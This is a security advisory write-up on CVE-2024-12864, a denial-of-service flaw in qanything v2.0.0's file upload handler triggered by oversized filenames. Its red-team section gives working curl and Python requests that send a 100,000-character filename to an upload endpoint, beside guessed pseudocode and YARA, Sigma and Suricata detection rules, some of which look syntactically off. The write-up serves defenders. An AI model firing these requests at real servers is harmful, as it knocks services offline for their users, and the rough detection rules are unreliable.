CVE-2024-12864

Executive Summary

CVE-2024-12864 is a high-severity Denial of Service (DoS) vulnerability affecting the file upload feature of netease-youdao/qanything version v2.0.0. The vulnerability stems from improper handling of form-data with an excessively large filename in the upload request. An unauthenticated attacker can exploit this by sending a single request with a large filename, causing the server to become overwhelmed and unavailable to legitimate users. The attack requires no authentication, making it highly scalable and increasing the risk of exploitation. The CVSS score is 7.5 (High), and no patch is currently available.

Supply Chain & Package Security

This vulnerability affects the qanything project, which is a Python-based application. The project is distributed via GitHub and potentially as a Docker image. The lack of a patch means that all deployments of v2.0.0 are vulnerable. Organizations using this software should consider it a high-risk component in their supply chain until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The attack causes a complete denial of service.

Threat Level: High. The low attack complexity, lack of authentication, and high availability impact make this a serious threat for any exposed instance of qanything.

Deep Dive & Mechanics

The vulnerability is located in the file upload endpoint of the qanything application. When a user submits a multipart/form-data request to upload a file, the server parses the form data, including the filename. The issue is that the server does not impose any limits on the length of the filename string. By sending a request with an extremely large filename (e.g., thousands or millions of characters), the server's memory or processing resources are exhausted, leading to a crash or unresponsiveness.

The root cause is a lack of input validation and resource limits on the filename field. This is a classic example of a resource exhaustion vulnerability (CWE-400). The attack does not require any special tools; a simple HTTP request with a crafted payload is sufficient.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code. The vulnerable code likely resides in the file upload handler, which might look something like this (pseudocode):

# Vulnerable code (v2.0.0)
def handle_file_upload(request):
    file = request.files['file']
    filename = file.filename  # No length check
    # Process the file...

A patched version would include a length check:

# Patched code (hypothetical)
MAX_FILENAME_LENGTH = 255

def handle_file_upload(request):
    file = request.files['file']
    filename = file.filename
    if len(filename) > MAX_FILENAME_LENGTH:
        return "Filename too long", 400
    # Process the file...

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on the target qanything server.

Prerequisites:

• A target running qanything v2.0.0 with the file upload feature exposed.
• Network access to the target.

Exploit Steps:

1. Identify the upload endpoint. Typically, this is /api/upload or similar. Use a tool like curl or a Python script.

2. Craft a malicious request. The key is to send a large filename in the multipart form-data.

   Example using curl:

   # Generate a large filename (e.g., 100,000 characters)
   LARGE_FILENAME=$(python3 -c "print('A'*100000)")
   curl -X POST -F "file=@/dev/null;filename=$LARGE_FILENAME" http://target.com/api/upload
   

   Example using Python:

   import requests
   
   url = "http://target.com/api/upload"
   large_filename = "A" * 100000
   files = {'file': (large_filename, b'dummy content', 'text/plain')}
   response = requests.post(url, files=files)
   print(response.status_code)
   

3. Observe the impact. The server may become unresponsive, return a 500 error, or crash entirely. Repeat the request to ensure the service is unavailable.

Expected Outcome: The server becomes overwhelmed and stops responding to legitimate requests.

Blue Team

Objective: Detect and mitigate the exploitation attempt.

Detection:

• Monitor for HTTP requests with abnormally long filenames in multipart uploads.
• Look for a high number of failed upload requests or server errors (5xx) from a single source.
• Use network monitoring to detect large payloads in POST requests.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with filenames exceeding a certain length (e.g., 255 characters).
• Apply rate limiting on the upload endpoint to prevent a single source from overwhelming the server.
• If possible, apply a temporary patch to the application code to limit filename length.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to the upload endpoint with a filename field containing a very long string (e.g., > 1000 characters).
  • Repeated 500 Internal Server Error responses from the server.
  • Unusually large HTTP request sizes (e.g., > 1 MB) for file uploads.

• System IOCs:

  • High memory or CPU usage on the server during the attack.
  • Application logs showing errors related to memory allocation or string processing.
  • Crash dumps or core files from the application process.

Detection Engineering

YARA Rule

rule CVE_2024_12864_DoS_Large_Filename {
    meta:
        description = "Detects HTTP requests with abnormally large filenames in multipart form-data, indicative of CVE-2024-12864 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12864"
        severity = "high"
    strings:
        $multipart = "multipart/form-data" nocase
        $filename = "filename=" nocase
        $large_string = /filename="[A-Za-z0-9]{1000,}"/  // Matches filenames with 1000+ characters
    condition:
        $multipart and $filename and #large_string > 0
}

Sigma Rule

title: CVE-2024-12864 DoS via Large Filename in File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with abnormally large filenames in multipart form-data, indicating exploitation of CVE-2024-12864.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12864
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'POST'
        http.content_type: 'multipart/form-data'
        http.body|contains: 'filename='
    condition: selection and |http.body|length > 1000000  # 1 MB body size threshold
    falsepositives:
        - Legitimate large file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12864 DoS via Large Filename in File Upload"; flow:to_server; content:"multipart/form-data"; http_content_type; content:"filename="; http_client_body; pcre:"/filename=\"[A-Za-z0-9]{1000,}\"/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the file upload feature if it is not essential for business operations.
2. Apply a WAF rule to block requests with filenames longer than 255 characters.
3. Implement rate limiting on the upload endpoint to limit requests per IP address.

Long-term Fix:

• The vendor (netease-youdao) must release a patch that adds input validation and resource limits on the filename field. Until then, consider using a reverse proxy or API gateway to enforce these limits.

Workaround:

• Modify the application code to check the length of the filename before processing. For example, in Python:

  MAX_FILENAME_LENGTH = 255
  if len(request.files['file'].filename) > MAX_FILENAME_LENGTH:
      abort(400, "Filename too long")
  

Monitoring:

• Continuously monitor for exploitation attempts using the detection rules provided above.
• Review server logs for any signs of resource exhaustion.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert